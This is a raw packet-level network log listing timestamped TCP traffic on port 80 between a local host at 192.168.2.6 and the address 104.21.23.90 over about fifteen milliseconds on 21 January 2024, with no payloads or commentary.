Jan 21, 2024 17:12:01.411746979 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.411757946 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.411768913 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.411777020 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.411789894 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.411803007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.411803007 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.411815882 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.411829948 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.411829948 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.411843061 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.411855936 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.411856890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.411883116 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.412518978 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412533998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412544966 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412565947 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.412585020 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.412595034 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412607908 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412621021 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412633896 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412647963 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412650108 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.412661076 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412673950 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412677050 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.412688017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.412703991 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.412728071 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.413428068 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413441896 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413453102 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413466930 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413477898 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.413480043 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413496971 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413510084 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.413512945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413527012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413541079 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413554907 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413557053 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.413568020 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413582087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413588047 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.413595915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.413609028 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.413630009 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.414189100 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414235115 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.414370060 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414382935 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414395094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414407969 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414422035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414427996 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.414437056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414444923 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.414453030 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414467096 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414480925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414488077 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.414494991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414508104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414510012 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.414522886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.414532900 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.414573908 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.415235996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415247917 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415261030 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415273905 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415287018 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415291071 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.415302038 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415307999 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.415317059 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415330887 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415344000 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415357113 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415357113 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.415371895 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415383101 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.415386915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415401936 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.415405035 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.415431023 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.416245937 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416260004 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416273117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416285038 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416287899 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.416299105 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416311026 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.416311979 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416327000 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416337967 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.416341066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416354895 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416368961 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416376114 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.416383028 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.416398048 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.416423082 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.417068005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417081118 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417093039 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417105913 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417119026 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417133093 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.417133093 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417150974 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417160034 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.417164087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417180061 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.417180061 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417195082 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417207003 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.417211056 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417226076 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417233944 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.417238951 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417253971 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417268991 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.417289019 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.417861938 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417876005 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417892933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417908907 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.417928934 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.417957067 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.418004036 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418016911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418029070 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418041945 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418056011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418060064 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.418068886 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418075085 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.418083906 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418097019 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418108940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418121099 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418123960 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.418144941 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.418168068 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.418788910 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418951035 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418965101 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418977022 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418988943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.418994904 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419003010 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419008970 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419015884 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419032097 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419042110 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419045925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419060946 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419074059 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419080019 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419086933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419101000 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419107914 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419114113 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419122934 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419153929 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419830084 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419843912 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419857025 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419871092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419886112 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419898033 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419899940 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419914961 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419924021 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419928074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.419939041 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.419970036 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.420290947 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420309067 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420320988 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420334101 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420341969 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.420377970 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.420442104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420455933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420468092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420480013 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420492887 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420496941 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.420506954 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420512915 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.420526028 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420540094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420551062 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.420555115 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420572042 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.420583963 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.420622110 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.421374083 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421387911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421399117 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421411991 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421425104 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421431065 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.421438932 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421452045 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421452999 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.421464920 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421478987 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421478987 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.421493053 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421500921 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.421509027 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421525002 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421538115 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421538115 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.421551943 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.421556950 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.421602011 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.422365904 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422379017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422391891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422404051 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422416925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422421932 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.422430038 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422435999 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.422444105 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422458887 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422468901 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.422472954 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422487020 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422501087 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422507048 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.422514915 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422528982 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422532082 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.422544003 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.422558069 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.422584057 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423109055 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423242092 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423254967 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423266888 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423280954 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423286915 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423295021 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423306942 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423312902 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423329115 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423335075 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423372030 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423626900 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423640966 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423682928 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423840046 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423852921 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423865080 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423877954 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423891068 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423892021 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423907042 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423918009 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423922062 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423935890 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423948050 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423950911 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423964977 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423975945 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.423979998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.423995018 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424004078 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.424034119 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.424587011 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424776077 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424787998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424799919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424812078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424824953 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424828053 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.424828053 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.424839020 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424851894 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424854994 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.424865007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424884081 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424895048 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.424897909 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424913883 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424921989 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.424926996 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424942017 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.424952030 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.424978971 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.425551891 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425565958 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425576925 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425597906 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.425757885 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425770998 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425782919 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425795078 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425801039 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.425807953 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425821066 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.425821066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425834894 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425848007 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425848961 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.425862074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425877094 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425894976 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.425899029 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.425914049 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.425931931 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.426589966 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.426604033 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.426615953 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.426629066 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.426642895 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.426645994 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.426656008 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.426666021 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.426670074 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.426685095 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.426691055 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.426728010 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.427161932 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427174091 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427186012 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427197933 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427206993 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.427211046 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427225113 CET	80	49700	104.21.23.90	192.168.2.6
Jan 21, 2024 17:12:01.427232027 CET	49700	80	192.168.2.6	104.21.23.90
Jan 21, 2024 17:12:01.427239895 CET	80	49700	104.21.23.90	192.168.2.6
